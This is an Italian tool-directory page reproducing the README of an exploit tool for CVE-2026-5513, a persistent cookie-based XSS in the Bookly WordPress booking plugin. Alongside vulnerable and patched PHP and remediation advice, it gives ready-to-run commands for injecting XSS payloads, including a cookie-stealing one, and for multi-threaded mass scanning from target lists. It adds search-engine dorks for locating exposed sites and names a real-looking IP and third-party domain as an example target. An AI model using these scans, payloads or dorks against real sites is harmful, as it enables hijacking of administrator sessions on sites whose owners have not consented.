Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/xaanziu/cve-2026-5513
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHubxaanziu/cve-2026-5513

CVE-2026-5513

CVE-2026-5513: Bookly <= 27.2 XSS persistente tramite cookie (non autenticato)

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-5513 — Bookly ≤ 27.2 XSS persistente tramite cookie

CVE CVSS Type Auth

Panoramica

CampoValore
CVE IDCVE-2026-5513
VulnerabilitàCross-Site Scripting persistente (XSS)
PluginBookly — Sistema di prenotazione appuntamenti e pianificazione online
Versioni interessate≤ 27.2
Patch27.3+
CVSS 3.17.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWECWE-79
Autenticazione richiestaNessuna
PrerequisitoRemember personal information in cookies deve essere attivata (disattivata per impostazione predefinita)

Descrizione

Il plugin Bookly per WordPress è vulnerabile a Cross-Site Scripting persistente tramite il cookie bookly-customer-full-name nelle versioni fino alla 27.2 inclusa a causa di una sanitizzazione dell'input e un escaping dell'output insufficienti.

Quando l'impostazione "Remember personal information in cookies" è attiva, il plugin legge il valore del cookie bookly-customer-full-name e lo renderizza direttamente nell'HTML del modulo di prenotazione senza un adeguato escaping. Un attaccante non autenticato può iniettare payload JavaScript arbitrari tramite questo cookie, che vengono eseguiti quando un qualsiasi utente (inclusi gli amministratori) visita una pagina che contiene il modulo di prenotazione di Bookly.

Flusso di attacco

root@kitploit:~
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
         → Visit page with Bookly booking form
         → Plugin reads cookie, renders value without escaping
         → XSS payload executes in victim's browser context

Causa principale

root@kitploit:~
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // No sanitization
echo '<input type="text" value="' . $full_name . '" />';  // No escaping
root@kitploit:~
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

Caratteristiche

root@kitploit:~
 ✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
 ✓ WordPress & Bookly plugin detection with version check
 ✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
 ✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
 ✓ Payload injection with reflection verification
 ✓ Single target or mass scan from file
 ✓ Multi-threaded scanning (up to 20 threads)
 ✓ Proxy support (Burp, etc.)
 ✓ Auto-save vulnerable results
 ✓ Interactive menu + CLI modes

Installazione

root@kitploit:~
pip install requests colorama

Utilizzo

Modalità CLI

root@kitploit:~
# Check single target
python CVE-2026-5513.py -u https://target.com -v

# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v

# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

Modalità interattiva

root@kitploit:~
python CVE-2026-5513.py

Opzioni

FlagDescrizione
-u URLSingolo target (URL, dominio o IP)
-l FILEFile con elenco di target (uno per riga)
--injectInietta payload XSS (predefinito: solo verifica)
--payload STRPayload XSS personalizzato
-t NNumero di thread (predefinito: 10, max: 20)
--proxy URLProxy HTTP (es. http://127.0.0.1:8080)
-o FILESalva i risultati in un file
-vOutput verboso

Formati target

Lo strumento accetta uno qualsiasi di questi formati in -u o nel file di elenco dei target:

root@kitploit:~
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

Per IP senza dominio, lo strumento automaticamente:

  • Sonda le porte 443, 80, 8443, 8080
  • Rileva i reindirizzamenti HTTP → HTTPS
  • Rileva i reindirizzamenti IP → dominio (es. 167.99.0.203 → https://book.repairrite.com)
  • Esegue la scansione delle sottodirectory di WordPress (/wp/, /blog/, /wordpress/, ecc.)

Catena di sfruttamento

root@kitploit:~
STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)

Google Dorks

root@kitploit:~
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"

Rimedio

PrioritàAzione
🔴Aggiorna Bookly alla versione 27.3+
🟡Disattiva "Remember personal information in cookies" in Bookly Settings → General
🟢Implementa regole WAF per filtrare XSS nei valori dei cookie
🟢Implementa le intestazioni Content-Security-Policy (CSP)

Riferimenti

  • NVD — CVE-2026-5513
  • Wordfence Advisory
  • Tenable
  • Bookly Changelog

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi didattici. L'accesso non autorizzato ai sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione prima di effettuare test. L'autore non è responsabile per qualsiasi uso improprio di questo strumento.

Licenza

MIT

Scarica lo strumento